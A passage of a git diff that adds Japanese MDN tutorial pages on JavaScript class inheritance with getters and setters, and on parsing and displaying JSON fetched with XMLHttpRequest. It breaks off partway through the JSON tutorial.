class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">'Han'</span><span class="punctuation token">,</span> <span class="string token">'Solo'</span><span class="punctuation token">,</span> <span class="number token">25</span><span class="punctuation token">,</span> <span class="string token">'male'</span><span class="punctuation token">,</span> <span class="punctuation token">[</span><span class="string token">'Smuggling'</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +han<span class="punctuation token">.</span><span class="function token">greeting</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// Hi! I'm Han</span> + +<span class="keyword token">let</span> leia <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">'Leia'</span><span class="punctuation token">,</span> <span class="string token">'Organa'</span><span class="punctuation token">,</span> <span class="number token">19</span><span class="punctuation token">,</span> <span class="string token">'female'</span><span class="punctuation token">,</span> <span class="punctuation token">[</span><span class="string token">'Government'</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +leia<span class="punctuation token">.</span><span class="function token">farewell</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// Leia has left the building. Bye for now</span></code></pre> + +<div class="note"> +<p><strong>メモ</strong>: 内部ではクラスはプロトタイプの継承モデルに変換されています。これはシンタックスシュガーです。しかし、私たちはあなたがそれを書く方が簡単だと考えるだろうと確信しています。</p> +</div> + +<h3 id="Inheritance_with_class_syntax" name="Inheritance_with_class_syntax">クラス構文による継承</h3> + +<p>上記では人を表すクラスを作成しました。彼らはすべての人々に共通の一連の属性を持っています。このセクションでは、特殊な<code>Teacher</code>クラスを作成し、現代のクラス構文を使用して<code>Person</code>から継承します。これはサブクラス、またはサブクラスの作成と呼ばれます。<br> + <br> + サブクラスを作成するには <a href="/ja/docs/Web/JavaScript/Reference/Classes/extends">extends キーワード</a>を使用して、クラスの基底となるクラスをJavaScriptに通知します。</p> + +<pre class="brush: js notranslate">constructor(first, last, age, gender, interests) { + this.name = { + first, + last + }; + this.age = age; + this.gender = gender; + this.interests = interests; +} </pre> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super"><code>super()</code></a> 演算子を <code>constructor()</code> 内の最初の項目として定義することで、コードをより読みやすくすることができます。これは親クラスのコンストラクタを呼び出し、そこに定義されている限り、指定したメンバーを<code>super()</code> のパラメータとして継承します。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">class</span> <span class="class-name token">Teacher</span> <span class="keyword token">extends</span> <span class="class-name token">Person</span> <span class="punctuation token">{</span> + <span class="function token">constructor</span><span class="punctuation token">(</span>first<span class="punctuation token">,</span> last<span class="punctuation token">,</span> age<span class="punctuation token">,</span> gender<span class="punctuation token">,</span> interests<span class="punctuation token">,</span> subject<span class="punctuation token">,</span> grade<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">super</span><span class="punctuation token">(</span>first<span class="punctuation token">,</span> last<span class="punctuation token">,</span> age<span class="punctuation token">,</span> gender<span class="punctuation token">,</span> interests<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// 科目と学年は教師によって決まっている</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>subject <span class="operator token">=</span> subject<span class="punctuation token">;</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>grade <span class="operator token">=</span> grade<span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span></code></pre> + +<p><code>Teacher</code>のオブジェクトをインスタンス化するときには、<code>Teacher</code>と<code>Person</code>の両方で定義されたメソッドとプロパティを呼び出すことができます。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> snape <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Teacher</span><span class="punctuation token">(</span><span class="string token">'Severus'</span><span class="punctuation token">,</span> <span class="string token">'Snape'</span><span class="punctuation token">,</span> <span class="number token">58</span><span class="punctuation token">,</span> <span class="string token">'male'</span><span class="punctuation token">,</span> <span class="punctuation token">[</span><span class="string token">'Potions'</span><span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="string token">'Dark arts'</span><span class="punctuation token">,</span> <span class="number token">5</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +snape<span class="punctuation token">.</span><span class="function token">greeting</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Hi! I'm Severus.</span> +snape<span class="punctuation token">.</span><span class="function token">farewell</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Severus has left the building. Bye for now.</span> +snape<span class="punctuation token">.</span>age <span class="comment token">// 58</span> +snape<span class="punctuation token">.</span>subject<span class="punctuation token">;</span> <span class="comment token">// Dark arts</span></code></pre> + +<p>Teachers と同じように、基本クラスを変更せずに <code>Person</code> をさらに特化したものにするために、他のサブクラスを作成できます。</p> + +<div class="note"> +<p><strong>メモ</strong>: この例は、GitHub で <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/es2015-class-inheritance.html">es2015-class-inheritance.html</a> として見つけることができます(<a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/es2015-class-inheritance.html">これも実際に参照してください</a>)。</p> +</div> + +<h2 id="Getters_and_Setters" name="Getters_and_Setters">Getter と Setter</h2> + +<p>作成するクラスの属性の値を変更したい場合や、属性の最終値がわからない場合があります。<code>Teacher</code> の例を使用すると、教師が教材を作成する前にどの教科を教えるか分からないことがあります。<br> + <br> + getter や setter でこのような状況を処理できます。<br> + <br> + getter と setter で Teacher クラスを強化しましょう。私たちが最後に見たときと同じようにクラスが始まります。<br> + <br> + getter と setter はペアで動作します。getter は変数の現在の値を返し、対応する setter は変数の値をひとつの値に変更します。<br> + <br> + 変更された <code>Teacher</code> クラスは次のようになります。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">class</span> <span class="class-name token">Teacher</span> <span class="keyword token">extends</span> <span class="class-name token">Person</span> <span class="punctuation token">{</span> + <span class="function token">constructor</span><span class="punctuation token">(</span>first<span class="punctuation token">,</span> last<span class="punctuation token">,</span> age<span class="punctuation token">,</span> gender<span class="punctuation token">,</span> interests<span class="punctuation token">,</span> subject<span class="punctuation token">,</span> grade<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">super</span><span class="punctuation token">(</span>first<span class="punctuation token">,</span> last<span class="punctuation token">,</span> age<span class="punctuation token">,</span> gender<span class="punctuation token">,</span> interests<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="comment token">// 科目と学年は教師によって決まっている</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>_subject <span class="operator token">=</span> subject<span class="punctuation token">;</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>grade <span class="operator token">=</span> grade<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">get</span> <span class="function token">subject</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span>_subject<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">set</span> <span class="function token">subject</span><span class="punctuation token">(</span>newSubject<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>_subject <span class="operator token">=</span> newSubject<span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span></code></pre> + +<p>上のクラスでは、<code>subject</code> プロパティの getter と setter があります。 Nameプロパティを格納するために <strong><code>_</code> </strong>を使用して別の値を作成します。この規約を使用しないと、get または set を呼び出すたびにエラーが発生します。 この時点で：</p> + +<ul> + <li><code>snape</code> オブジェクトの <code>_subject</code> プロパティの現在の値を表示するには、<code>snape.subject</code> getter メソッドを使用します</li> + <li><code>_subject</code> プロパティに新しい値を割り当てるには、<code>snape.subject="new value"</code> setter メソッドを使用できます</li> +</ul> + +<p>以下の例は、動作している2つの機能を示しています。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="comment token">// デフォルトの値をチェックする</span> +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>snape<span class="punctuation token">.</span>subject<span class="punctuation token">)</span> <span class="comment token">// Returns "Dark arts"</span> + +<span class="comment token">// 値を変更する</span> +snape<span class="punctuation token">.</span>subject <span class="operator token">= </span><span class="string token">"Balloon animals"</span> <span class="comment token">// Sets _subject to "Balloon animals"</span> + +<span class="comment token">// 新しい値と一致しているか再度チェックする</span> +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>snape<span class="punctuation token">.</span>subject<span class="punctuation token">)</span> <span class="comment token">// Returns "Balloon animals"</span></code></pre> + +<div class="note"> +<p><strong>メモ</strong>: この例は、GitHub で <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/es2015-class-inheritance.html">es2015-class-inheritance.html</a> として見つけることができます(<a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/es2015-class-inheritance.html">これも実際に参照してください</a>)。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: ゲッターやセッターは、プロパティが要求されたり設定されたりするたびにコードを実行したい場合など、非常に便利な場合があります。しかし、単純なケースでは、ゲッターやセッターを使用しないプレーンなプロパティアクセスで十分です。</p> +</div> + +<h2 id="When_would_you_use_inheritance_in_JavaScript" name="When_would_you_use_inheritance_in_JavaScript">JavaScript でいつ継承を使用するのでしょうか？</h2> + +<p>特にこの最後の記事を読み終えた後、「うーん、これはややこしいな。」と考えることでしょう。ええ、それは正しい感想です。プロトタイプと継承は JavaScript のもっとも複雑な面のいくつかに当たります、しかし多くの JavaScript の能力と柔軟性はそのオブジェクトの構造と継承に由来します、そしてそれがどのように動作するかは理解するに値します。</p> + +<p>ある意味では、常に継承を使用しています。Web API の様々な機能、文字列や配列といったブラウザーに組み込まれたオブジェクトで定義されているメソッド/プロパティを使用するときはいつも、暗黙の内に継承を使用しています。</p> + +<p>コードに継承を使用していることに関して、特に開始時には、そして小さなプロジェクトでは多分頻繁には使っていないでしょう。不要にも関わらず、継承のためだけにオブジェクトおよび継承を使用するのは時間の浪費です。しかしコードの母体が大きくなればなるほど、継承についての必要性が目に付きやすくなってきます。同じような機能を持ついくつものオブジェクトを作成していることに気付いた場合は、共有機能を持つ汎化オブジェクトタイプを作成し、特化オブジェクトタイプでそれらの機能を継承させるのがお手軽であり、便利です。</p> + +<div class="note"> +<p><strong>注記</strong>: プロトタイプチェーンなどを使って JavaScript が動作する方法のために、オブジェクト間での機能の共有をしばしば <strong>移譲</strong> と呼ぶ事があります。特化オブジェクトは汎化オブジェクトタイプから機能的に移譲されています。</p> +</div> + +<p>継承を使用している時、継承をやたら多いレベルに行わないように、メソッドとプロパティをどこに定義したかを注意深く追跡し続けるようにアドバイスされるでしょう。組み込みブラウザーのオブジェクトのプロトタイプを一時的に変更するコードを書き始めることは可能ですが、実際に良い理由がないのであれば、そうすべきではありません。過剰な継承は終わりない混乱や、そんなコードをデバックする時は終わりない痛みに繋がりかねません。</p> + +<p>究極的には、オブジェクトは関数やループのような、自身の固有の役割や長所を活かした、コードの再利用の単なる別の形でもあります。もし関連のある変数や関数の一団を作成していることに気付き、それらすべてを追跡して適切にパッケージ化したいのであれば、オブジェクトは良いアイデアです。オブジェクトはまた、ある所から別の所にデータの集合を渡したい場合にも大変便利です。これらの事柄の両方がコンストラクタや継承を使用する事なく達成できます。もしオブジェクトの単一のインスタンスが必要なだけであれば、オブジェクトリテラルを使用するのが多分より良く、確実に継承は必要ないでしょう。</p> + +<h2 id="Alternatives_for_extending_the_prototype_chain" name="Alternatives_for_extending_the_prototype_chain">プロトタイプチェーンを拡張するための代替案</h2> + +<p>JavaScript では、上で示したものとは別に、オブジェクトのプロトタイプを拡張する方法がいくつかあります。その他の方法についての詳細は、<a href="/ja/docs/Web/JavaScript/Inheritance_and_the_prototype_chain#Different_ways_to_create_objects_and_the_resulting_prototype_chain">継承とプロトタイプチェーン</a>の記事を参照してください。</p> + +<h2 id="Test_your_skills!" name="Test_your_skills!">あなたのスキルをテストしてみましょう!</h2> + +<p>この記事はここまでですが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するためのテストがいくつかあります - <a href="/en-US/docs/Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript">あなたのスキルをテストする: オブジェクト指向 JavaScript</a> を参照してください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事は今知っておくべき考えられる OOJS の核となる理論および文法の残りの部分をカバーしています。この時点で、 JavaScript オブジェクトおよび オブジェクト指向プログラミングの基本、プロトタイプとプロトタイプにおける継承、クラス(コンストラクタ)とオブジェクトのインスタンスの生成、クラスへの機能の追加、他のクラスから継承されたサブクラスの生成をどのように行うか、を理解しているでしょう。</p> + +<p>次の記事では JavaScript Object Notaion (JSON) 、つまり JavaScript オブジェクトを使用して書かれた共通データ交換フォーマット、がどのように動作するかをを見て行きましょう。</p> + +<h2 id="See_also" name="See_also">あわせて参照</h2> + +<ul> + <li><a href="http://www.objectplayground.com/">ObjectPlayground.com</a> — オブジェクトについて学べる非常に有益な会話型学習サイト</li> + <li><a href="https://www.amazon.com/gp/product/193398869X/">Secrets of the JavaScript Ninja</a>, Chapter 6 — John Resig Bear Bibeault による、先進的な JavaScript のコンセプトおよび手法についての良書。6 章ではプロトタイプや継承の非常に有効な面が説明されている。多分プリントやオンラインのコピーを比較的簡単に追跡する事ができるでしょう。</li> + <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes">You Don't Know JS: this & Object Prototypes</a> — Kyle Simpson による JavaScript を説明したすぐれたシリーズの一部。特に 5 章はプロトタイプについて、我々の説明より相当詳細に説明しています。初心者向けのこのシリーズ記事では単純化した見方を提供してきましたが、いっぽう Kyle は非常に深く論じており、より複雑だがより正確な図を提供しています。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/json/index.html b/files/ja/learn/javascript/objects/json/index.html new file mode 100644 index 0000000000..c72a38744b --- /dev/null +++ b/files/ja/learn/javascript/objects/json/index.html @@ -0,0 +1,357 @@ +--- +title: JSON データの操作 +slug: Learn/JavaScript/Objects/JSON +tags: + - Article + - Beginner + - CodingScripting + - Guide + - JSON + - JavaScript + - Learn + - Objects + - Tutorial + - 'l10n:priority' +translation_of: Learn/JavaScript/Objects/JSON +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">JavaScript Object Notation (JSON) は表現用の標準的なテキストベースの構造データ表現フォーマットで、JavaScript 構造データオブジェクトの表記法をベースとしています。一般的にはウェブアプリケーションでデータを転送する場合に使われます。(例えば、データをサーバーからクライアントへ送信する場合などで、ウェブページに表示されたりすることもあり、その逆もあります)。頻繁に見かけるデータフォーマットですので、この節では JavaScript を使って JSON をパースする、JSON のデータを参照する、JSON を作るなど、JSON を扱うために必要となる操作を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基礎的なコンピュータの知識、HTML と CSS への基本的な理解、基礎的な JavaScript の理解 (<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>と <a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>を参照) とオブジェクト指向JavaScript の基本 (<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks">JavaScript オブジェクトの基本</a>を参照)。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JSON内のデータの扱い方、JSON 文字列の作成方法について理解できること。</td> + </tr> + </tbody> +</table> + +<h2 id="No_really_what_is_JSON" name="No_really_what_is_JSON">JSON とは何か</h2> + +<p>{{glossary("JSON")}} は JavaScript オブジェクトの構文に従ったテキストベースのフォーマットで、<a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a> によって普及されました。JSON は JavaScript オブジェクトの構文に似ていますが、JavaScript とは独立して扱われることがあり、多くのプログラミング言語環境には JSON を読み込む(パースする)したり生成したりする機能があります。</p> + +<p>JSON は文字列です。ですので、ネットワークを通してデータを転送したい場合に便利です。JSON データへアクセスしたい場合は、JavaScript オブジェクトへ変換する必要があります。JavaScript には JSON と JavaScript オブジェクトを相互に変換できるメソッドを持った <a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> というグローバルなオブジェクトがあるので、その変換は大きな問題ではありません。</p> + +<div class="note"> +<p><strong>注記</strong>: 文字列をネイティブオブジェクトへ変換することは<em>デシリアライゼーション (deserialization)</em> と呼ばれており、ネイティブオブジェクトをネットワークを通して転送できように文字列へ変換することは<em>シリアライゼーション (serialization) </em>と呼ばれています。</p> +</div> + +<p>JSON 文字列はそれ自身をファイルとして格納することもできます。それは {{glossary("MIME type")}} が <code>application/json</code> で、<code>.json</code> という拡張子の付いたただのテキストファイルです。</p> + +<h3 id="JSON_structure" name="JSON_structure">JSON の構造</h3> + +<p>上で説明したように、JSON は JavaScript オブジェクトにとても似ているフォーマットを持った文字列です。JSON では通常の JavaScript オブジェクトと同様な基本データ型(文字列、数値、配列、ブーリアンやその他のリテラル型)を使うことができます。これにより、以下のように階層的にデータを構成することができます。</p> + +<pre class="brush: json notranslate">'{ + "squadName": "Super hero squad", + "homeTown": "Metro City", + "formed": 2016, + "secretBase": "Super tower", + "active": true, + "members": [ + { + "name": "Molecule Man", + "age": 29, + "secretIdentity": "Dan Jukes", + "powers": [ + "Radiation resistance", + "Turning tiny", + "Radiation blast" + ] + }, + { + "name": "Madame Uppercut", + "age": 39, + "secretIdentity": "Jane Wilson", + "powers": [ + "Million tonne punch", + "Damage resistance", + "Superhuman reflexes" + ] + }, + { + "name": "Eternal Flame", + "age": 1000000, + "secretIdentity": "Unknown", + "powers": [ + "Immortality", + "Heat Immunity", + "Inferno", + "Teleportation", + "Interdimensional travel" + ] + } + ] +}'</pre> + +<p>もし、この文字列を JavaScript プログラムへ読み込んだ場合(例えば、例えば変数<code>superHeroes</code> へ代入する)、<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a>の節で見たのと同様に ドットや角括弧を使ってデータへアクセスすることができます。例としては以下のようになります。</p> + +<pre class="brush: js notranslate">superHeroes.homeTown +superHeroes['active']</pre> + +<p>さらに深い階層のデータへアクセスする場合は、単純にプロパティ名や配列のインデックスを連結します。例えば、メンバーリスト中2番目のヒーローの 3番目の能力を参照する場合は、以下のようになります。</p> + +<pre class="brush: js notranslate">superHeroes['members'][1]['powers'][2]</pre> + +<ol> + <li>まず、変数名<code>superHeroes</code> を指定します。</li> + <li>その中の <code>members</code> プロパティへアクセスしたいので、<code>["members"]</code>と指定します。</li> + <li><code>members</code> にはオブジェクトの配列が格納されています. ここでは、配列内の 2番目のオブジェクトへアクセスするので、<code>[1]</code>を指定します。</li> + <li>そのオブジェクト内で、<code>powers</code> プロパティへアクセスするため, <code>["powers"]</code>と指定します。</li> + <li><code>powers</code> プロパティは選択したヒーローの能力を含んだ配列となっており、その中の 3番目が欲しいので、<code>[2]</code>と記述します。</li> +</ol> + +<div class="note"> +<p><strong>注記</strong>: 上記の JSON は <a href="http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html">JSONTest.html</a> で参照することができます。(ページ内の <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html">source code</a> を参照してください)。ページを読み込んで見て、ブラウザーのコンソールで変数内のデータにアクセスしてみてください。</p> +</div> + +<h3 id="Arrays_as_JSON" name="Arrays_as_JSON">JSON 配列</h3> + +<p>上記で、JSON テキストは基本的に文字列に入った JavaScript オブジェクトのように見えることを説明しました。配列を JSON との間で変換することもできます。以下も有効な JSON です。例:</p> + +<pre class="brush: json notranslate">'[ + { + "name": "Molecule Man", + "age": 29, + "secretIdentity": "Dan Jukes", + "powers": [ + "Radiation resistance", + "Turning tiny", + "Radiation blast" + ] + }, + { + "name": "Madame Uppercut", + "age": 39, + "secretIdentity": "Jane Wilson", + "powers": [ + "Million tonne punch", + "Damage resistance", + "Superhuman reflexes" + ] + } +]'</pre> + +<p>これも有効な JSON であり、パースしたデータには配列のインデックスを指定するだけです。例えば、<code>[0]["powers"][0]</code>のように表記できます。</p> + +<h3 id="Other_notes" name="Other_notes">その他の注意点</h3> + +<ul> + <li>JSON は指定されたデータフォーマットの純粋な文字列であり、プロパティのみを含むことができ、メソッドを含むことができません。</li> + <li>JSON では文字列とプロパティ名をダブルクォートで括る必要があります。シングルクォートは、JSON 文字列全体を囲む以外では無効です。</li> + <li>1 つだけカンマやコロンが抜けているだけで無効な JSON になりえます。なので、使用しているデータが有効であるかについては注意してみなければなりません(機械的に作った JSON のほうが、プログラムに問題がなければ、エラーは少なく済みます)。 <a href="http://jsonlint.com/">JSONLint</a> のようなアプリケーションを使って妥当性検査をすることもできます。</li> + <li>JSON は配列やオブジェクトに限らず JSON内に含むことができるデータ型のデータだけでも有効な JSON となります。 例えば、1 つだけの文字列や数値も有効な JSON です。</li> + <li>プロパティがクォートで括られていない JavaScript コードと異なり、JSON では、クォートされた文字列だけがプロパティとして使われます。</li> +</ul> + +<h2 id="Active_learning_Working_through_a_JSON_example" name="Active_learning_Working_through_a_JSON_example">手を動かして学ぼう: JSON をさわってみる</h2> + +<p>それでは、Web サイト上でどのように JSON 形式のデータを使うことができるか例を通して見てみましょう。</p> + +<h3 id="Getting_started" name="Getting_started">はじめに</h3> + +<p>まず、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html">heroes.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css">style.css</a> のコピーをローカルに作成してください。後者は例題ページをスタイリングするための CSS であり、前者は簡単な形式の HTML です。</p> + +<pre class="brush: html notranslate"><header> +</header> + +<section> +</section></pre> + +<p>他には、この演習で書く JavaScript を含んだ {{HTMLElement("script")}} 要素があります。この時点では、{{HTMLElement("header")}} 要素と {{HTMLElement("section")}} 要素 を取得して、変数へ代入している 2行コードのみが書かれています。</p> + +<pre class="brush: js notranslate">const header = document.querySelector('header'); +const section = document.querySelector('section');</pre> + +<p>演習用の JSON データは <a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a> に用意してあります。</p> + +<p>そのデータを演習ページに読み込んで、それを表示するのにいくらかの DOM操作を行います。最終的には、以下の画像のようになります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13857/json-superheroes.png" style="display: block; margin: 0 auto;"></p> + +<h3 id="Obtaining_the_JSON" name="Obtaining_the_JSON">JSON の取得</h3> + +<p>JSON を取得するには、{{domxref("XMLHttpRequest")}} (しばしば <strong>XHR</strong> と呼ばれる) という API を使用します。これは非常に便利な JavaScript オブジェクトで、JavaScript を使用してサーバからリソース (例：画像、テキスト、JSON、さらには HTML スニペットなど) を取得するネットワークリクエストを行うことができます。つまりページ全体を再読み込みせずに、小さな部分のコンテンツを更新することができます。これにより、よりレスポンシブな Web ページを作成できますが、それをもっと詳細に教えるのはこの記事の範囲を超えています。</p> + +<ol> + <li>まず、取得したい JSON がある URL を変数へ代入します。次のコードを JavaScript の最後の行へ追加してください。 + <pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> requestURL <span class="operator token">=</span> <span class="string token">'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'</span><span class="punctuation token">;</span></code></pre> + </li> + <li>HTTP リクエストを作成するのに、<code>new</code> を使って <code>XMLHttpRequest</code> から新しいリクエストオブジェクトをつくる必要があります。先ほどのコードの下に、次のコードを追加してください。 + <pre class="brush: js notranslate">let request = new XMLHttpRequest();</pre> + </li> + <li>新しいリクエストを開始するのには <code><a href="/ja/docs/Web/API/XMLHttpRequest/open">open()</a></code> メソッドを使います。 次のコードを追加してください。 + <pre class="brush: js notranslate">request.open('GET', requestURL);</pre> + + <p>このメソッドは最低２つのパラメータを引数として取ります（他に任意の引数を与えることもできます)。今回の簡単な例では、次の２つの必須パラメータのみを利用します。</p> + + <ul> + <li>リクエストを開始する際に HTTP のメソッドを決める必要があります。今回のケースでは、単純にデータを取得するだけですので <code><a href="/ja/docs/Web/HTTP/Methods/GET">GET</a></code> が良いでしょう。</li> + <li>リクエストを送る先の URL。今回は JSON ファイルが置かれている URL です。</li> + </ul> + </li> + <li>次に、以下の２行のコードを追加してください。XHR オブジェクトがサーバーから返されるデータを判断できるように <code><a href="/ja/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> に JSON を指定します。すると、ブラウザ側で JavaScript オブジェクトへ変換してくれます。それから、<code><a href="/ja/docs/Web/API/XMLHttpRequest/send">send()</a></code> メソッドでリクエストを送信します。 + <pre class="brush: js notranslate">request.responseType = 'json'; +request.send();</pre> + </li> + <li>最後に、サーバーからのレスポンスを待ち、それを処理するコードを用意するので、以下のコードをこれまでのコードの下に追加してください。 + <pre class="brush: js notranslate">request.onload = function() { + const superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + </li> +</ol> + +<p>ここでは、先ほどのリクエストに対するレスポンス (<code><a href="/ja/docs/Web/API/XMLHttpRequest/response">response</a></code> プロパティから取得できます) を <code>superHeroes</code> という変数へ代入しています。つまり、この変数に JSON を元に生成された JavaScript オブジェクトが格納されているということです! それから 2 つの関数をそのオブジェクトを引数として与えて呼び出しています。最初の関数は引数のデータを <code><header></code> へ埋め込み、2 つ目は各ヒーローごとのインフォメーションカードを作り、<code><section></code> へ埋め込みます。</p> + +<p>上記の処理は、リクエストオブジェクトで load イベントが発生した時に呼び出される関数 (<code><a href="/ja/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code> を参照) に記述しました。このイベントはレスポンスがうまく取得できた場合に呼び出されるので、 <code>request.response</code> を使って何か処理をしようとしたときに、それが必ず利用できることが保証されています。</p> + +<h3 id="Populating_the_header" name="Populating_the_header">ヘッダーへの値のセット</h3> + +<p>ここまでで、JSON の取得と JavaScript オブジェクトへの変換ができました、先ほどの 2 つの関数を実装して使ってみましょう。まずはじめに、以下のコードをこれまでのコードの下に追加してください。</p> + +<pre class="brush: js notranslate">function populateHeader(obj) { + const myH1 = document.createElement('h1'); + myH1.textContent = obj['squadName']; + header.appendChild(myH1); + + const myPara = document.createElement('p'); + myPara.textContent = 'Hometown: ' + obj['homeTown'] + ' // Formed: ' + obj['formed']; + header.appendChild(myPara); +}</pre> + +<p>まず、<code><a href="/ja/docs/Web/API/Document/createElement">createElement()</a></code> で {{HTMLElement("h1")}} 要素を生成、その <code><a href="/ja/docs/Web/API/Node/textContent">textContent</a></code> プロパティにそのオブジェクトの <code>squadName</code> プロパティをセット、そしてそれを <code><a href="/ja/docs/Web/API/Node/appendChild">appendChild()</a></code> を使いヘッダーに追加します。そして要素の生成、テキストのセット、ヘッダーへの追加という同じような操作をパラグラフ要素でも行います。セットするテキストの値が <code>homeTown</code> と <code>formed</code> プロパティの文字列を結合したものであるという点だけが異なります。</p> + +<h3 id="Creating_the_hero_information_cards" name="Creating_the_hero_information_cards">ヒーローインフォメーションカードの作成</h3> + +<p>次に、以下の関数をコードの下へ追記してください。この関数はスーパーヒーローカードの作成と画面表示を行います。</p> + +<pre class="brush: js notranslate">function showHeroes(jsonObj) { + const heroes = jsonObj['members']; + + for (let i = 0; i < heroes.length; i++) { + const myArticle = document.createElement('article'); + const myH2 = document.createElement('h2'); + const myPara1 = document.createElement('p'); + const myPara2 = document.createElement('p'); + const myPara3 = document.createElement('p'); + const myList = document.createElement('ul'); + + myH2.textContent = heroes[i].name; + myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity; + myPara2.textContent = 'Age: ' + heroes[i].age; + myPara3.textContent = 'Superpowers:'; + + const superPowers = heroes[i].powers; + for (let j = 0; j < superPowers.length; j++) { + const listItem = document.createElement('li'); + listItem.textContent = superPowers[j]; + myList.appendChild(listItem); + } + + myArticle.appendChild(myH2); + myArticle.appendChild(myPara1); + myArticle.appendChild(myPara2); + myArticle.appendChild(myPara3); + myArticle.appendChild(myList); + + section.appendChild(myArticle); + } +}</pre> + +<p>始めに、JavaScript オブジェクトの <code>members</code> プロパティを新しい変数に保存します。<br> + この配列は複数のオブジェクトを持ち、オブジェクトはそれぞれのヒーローについての情報を持ちます。</p> + +<p>次に、<a 